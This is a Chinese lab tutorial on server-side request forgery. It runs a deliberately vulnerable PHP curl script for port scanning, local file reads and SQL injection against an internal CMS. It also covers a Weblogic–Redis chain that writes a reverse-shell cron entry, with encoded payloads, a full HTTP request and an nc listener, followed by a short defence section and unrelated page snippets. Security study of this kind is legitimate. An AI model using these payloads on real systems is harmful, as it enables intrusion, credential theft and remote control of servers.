SSRF漏洞实战

文章目录

    • SSRF概述
    • SSRF原理
    • SSRF 危害
    • PHP复现SSRF
      • 漏洞检测
      • 端口扫描
      • 内网Web应用指纹识别
      • 攻击内网应用
      • 读取本地文件
    • Weblogic SSRF--Getshell复现
      • SSRF攻击Redis原理
      • 漏洞检测
      • 端口扫描
      • 复现翻车,请看官方复现教程
      • 注入HTTP头,利用Redis反弹shell
    • SSRF防御
      • 过滤输入
      • 过滤输出
    • SSRF挖掘

SSRF概述

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击

SSRF原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

SSRF 危害

端口扫描;

内网Web 应用指纹识别;

攻击内网应用;

读取本地文件;

PHP复现SSRF

利用curl 实现,需要PHP 扩展组件curl 支持,如果要使用以下代码复现,记得在当前php文件中创建curled文件夹

ssrf_curl

<?php
if(isset($_REQUEST['url'])){$link = $_REQUEST['url'];$fileName = './curled/'.time().".txt";$curlObj = curl_init($link);$fp = fopen($fileName,'w');curl_setopt($curlObj,CURLOPT_FILE,$fp);curl_setopt($curlObj,CURLOPT_HEADER,0);curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);curl_exec($curlObj);curl_close($curlObj);fclose($fp);if(getimagesize($fileName)){header("Content-Type:image/png");}$fp = fopen($fileName,'r');$result = fread($fp,filesize($fileName));fclose($fp);echo $result;
}else{echo "?url=[url]";
}
?>

漏洞检测

http://localhost/ssrf/ssrf_curl.php?url=http://yuanboss.qz9hr6.dnslog.cn

image-20230904160926069

image-20230904160913082

经过DNSLog回显,可以知道此处存在SSRF漏洞

端口扫描

http://localhost/ssrf/ssrf_curl.php?url=http://localhost:3306

image-20230904161050240

内网Web应用指纹识别

有些应用是部署在内网的

<Directory "G:\SOFT\netSecurity\soft\phpStudy_x64_8.1.1.3\phpstudy\WWW\phpMyAdmin">#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1
</Directory>
http://localhost/ssrf/ssrf_curl.php?url=http://127.0.0.1/phpmyadmin4.8.5/readme

image-20230904162747848

攻击内网应用

内网安全通常都很薄弱。

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

在http服务的配置文件中,我们可以进行如下配置,表示禁用所有主机访问cms目录,然后只允许127.0.0.1访问cms,这样就可以营造一个只允许内网访问的环境。

<Directory "c:\www\cms">#Order allow,denyOrder deny,allowdeny from allallow from 127.0.0.1
</Directory>

我们利用ssrf_curl.php的SSRF漏洞,攻击内网的cms网站,实现sql注入。

http://localhost/ssrf/ssrf_curl.php?url=http://127.0.0.1/cms/show.php?id=-33/*yuan*/union/*boss*/select/*yuanboss*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_users

解释:由于我们是利用目标服务器去进行sql注入的,所以执行sql命令的时候命令中不允许出现空格,如果出现空格了,我们注入的sql语句就不属于http://127.0.0.1/cms/show.php?的参数值了,而是属于我们本地的,因此目标服务器就无法使用我们的sql注入语句进行执行。所以我们需要用sql语法中的/**/这个注释语法代替sql中的空格。

image-20230904161553046

如图可知,我们通过联合查询获得了相关信息。为什么说这是是攻击内网应用呢,因为有的目标服务器的网站设置了白名单,只允许内网主机进行访问,所以我们无法进行漏洞利用,这个时候如果发现一个我们可以访问的网站存在SSRF漏洞,我们就可以利用这个网站,把他当做肉鸡,让他访问只允许内网访问的网站,甚至让他帮我们进行漏洞利用。

读取本地文件

http://localhost/ssrf/ssrf_curl.php?url=file:///c:/windows/system32/drivers/etc/hosts

image-20230904161131776

Weblogic SSRF–Getshell复现

vulhub靶场地址:Weblogic SSRF漏洞

SSRF攻击Redis原理

原理:借助redis的协议编写tcp stream,从而完成对redis的命令执行。
redis协议特别简单,协议格式如下

*<参数数量> CR LF
$<参数 1 的字节数量> CR LF
<参数 1 的数据> CR LF
...
$<参数 N 的字节数量> CR LF
<参数 N 的数据> CR LF

所以编写出tcp stream就非常简单,把需要执行的命令按照上面的格式拼凑出来就行

testset 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/公网ip/监听端口 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
saveaaa

因为我们是通过GET来发送命令的,因此要将上面的命令进行URL编码(“GET”请求,可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令的)
因此:
编码后构造payload

http://xxx.xxx.xx.xx/xx/xx.php?url=http://172.21.0.2:6379/
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.220.140%2F2333%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

然后在自己的公网机上nc监听2333端口

nc -lvp 2333 (或nc -l 2333)

然后发送请求即可查看到反弹的shell

漏洞检测

image-20230904200511230

image-20230904142742050

经过DNSLog回显,可以知道此处存在SSRF漏洞

端口扫描

由于返回信息的不同,根据返回信息,可以确定端口是否开放

image-20230904152832627

复现翻车,请看官方复现教程

这里就根据vulhub教程讲述思路了,因为这个靶场比较复杂,导致docker启动靶场失败,所以就没必要继续钻下去了,我们只需要学会思路即可,下面的复现步骤大多数是参考vulhub官网的复现步骤,也可以直接到这个链接复现:vulhub靶场地址:Weblogic SSRF漏洞

注入HTTP头,利用Redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.18.0.2:6379可以连通:

img

发送三条redis命令,将弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意,换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

img

成功反弹:

img

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

SSRF防御

过滤输入

限制协议,仅允许 http 或 https 协议;

限制IP,避免应用被用来获取内网数据,攻击内网;

限制端口,限制请求端口为常用端口。

过滤输出

过滤返回信息,只要不符合要求的,全部过滤;

统一错误信息,让攻击无法对内网信息进行判断。

SSRF挖掘

image-20230904170426511

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/100601.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HTML emoji整理 表情符号

<!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8" /><title>测试</title></head><body><div style"font-size: 50px;">&#128276</div><script>let count 0d…

3.3 【MySQL】字符集和比较规则的应用

3.3.1 各级别的字符集和比较规则 MySQL 有4个级别的字符集和比较规则&#xff0c;分别是&#xff1a; 服务器级别 数据库级别 表级别 列级别 3.3.1.1 服务器级别 MySQL 提供了两个系统变量来表示服务器级别的字符集和比较规则&#xff1a; 系统变量 描述 character_se…

c高级 day1

1.使用cut截取出Ubuntu用户的家目录&#xff0c;要求&#xff1a;不能使用":"作为分割 2.思维导图

tensorflow QAT

tensorflow qat https://www.wpgdadatong.com/tw/blog/detail/70672 在边缘运算的重点技术之中&#xff0c;除了简化复杂的模块构架&#xff0c;来简化参数量以提高运算速度的这项模块轻量化网络构架技术之外。另一项技术就是各家神经网络框架&#xff08;TensorFlow、Pytorc…

机器学习笔记:轨迹驻留点 staypoint

1 定义 在轨迹数据分析中&#xff0c;"停留点"&#xff08;Staypoint&#xff09;是一个非常关键的概念&#xff0c;它反映了个体或物体在某一地点的停留行为。通常&#xff0c;在一段时间内&#xff0c;如果一个人或物体在一个较小的地理区域内的移动距离低于某个阈…

【MyBatisⅡ】动态 SQL

目录 &#x1f392;1 if 标签 &#x1fad6;2 trim 标签 &#x1f460;3 where 标签 &#x1f9ba;4 set 标签 &#x1f3a8;5 foreach 标签 动态 sql 是Mybatis的强⼤特性之⼀&#xff0c;能够完成不同条件下不同的 sql 拼接。 在 xml 里面写判断条件。 动态SQL 在数据库里…

opencv旋转图像

0 、使用旋转矩阵旋转 import cv2img cv2.imread(img.jpg, 1) (h, w) img.shape[:2] # 获取图像的宽和高# 定义旋转中心坐标 center (w / 2, h / 2)# 定义旋转角度 angle 90# 定义缩放比例 scale 1# 获得旋转矩阵 M cv2.getRotationMatrix2D(center, angle, scale)# 进行…

修改 gc2093.c 驱动程序改变摄像头预览的镜像效果

原理 查看gc2093芯片手册&#xff0c;修改寄存器0x0017的数值&#xff0c;可以修改摄像头预览镜像效果。如下&#xff1a; #define GC2093_MIRROR_FLIP_REG 0x0017 #define MIRROR_MASK BIT(0) #define FLIP_MASK BIT(1) 方法 通过修改 gc2093.c 驱动程序可以改变摄像头预览…

【LeetCode】双指针求解和为s的两个数字

Problem: 剑指 Offer 57. 和为s的两个数字 文章目录 题目解析算法思路分析复杂度Code 题目解析 首先来讲解一下本题的思路 我们看到本题的意思很简单&#xff0c;就是去这个nums这个数组中进行寻找&#xff0c;如果找到了两个数相加之和为target的话&#xff0c;那构成一个结果…

Vue3+Vue-i18n+I18N ALLY+VSCODE 自动翻译多国语言

ps: 效果图放前面,符合的往下看&#xff0c;不符合的出门右转&#xff0c;希望多多点赞评论支持。 三种语言模式&#xff0c;分别是中文、英文、日文 批量翻译 最后的结果 配置vue-i18n 1、下载安装vue-i18n&#xff0c;9以上的版本。 2、创建对应文件夹 3、对应文件夹中代…

双键网络对讲求助模块

SV-6005 双键网络对讲求助模块 一、描述 SV-6005模块是我司的一款壁挂式一键求助对讲模块&#xff0c;具有10/100M以太网接口&#xff0c;其接收网络的音频数据&#xff0c;实时解码播放&#xff0c;还配置了麦克风输入和扬声器输出。SV-6005模块可实现对讲、广播、监听等功能…

Qt下SVG格式图片应用

SVG格式图片介绍 svg格式图片又称矢量图&#xff0c;该种格式的图片不同于png等格式的图片&#xff0c;采用的并不是位图的形式来组织图片&#xff0c;而是采用线条等组织图片&#xff0c;svg格式是图片的文件格式是xml&#xff0c;可以通过文件编译器打开查看svg格式内容。 …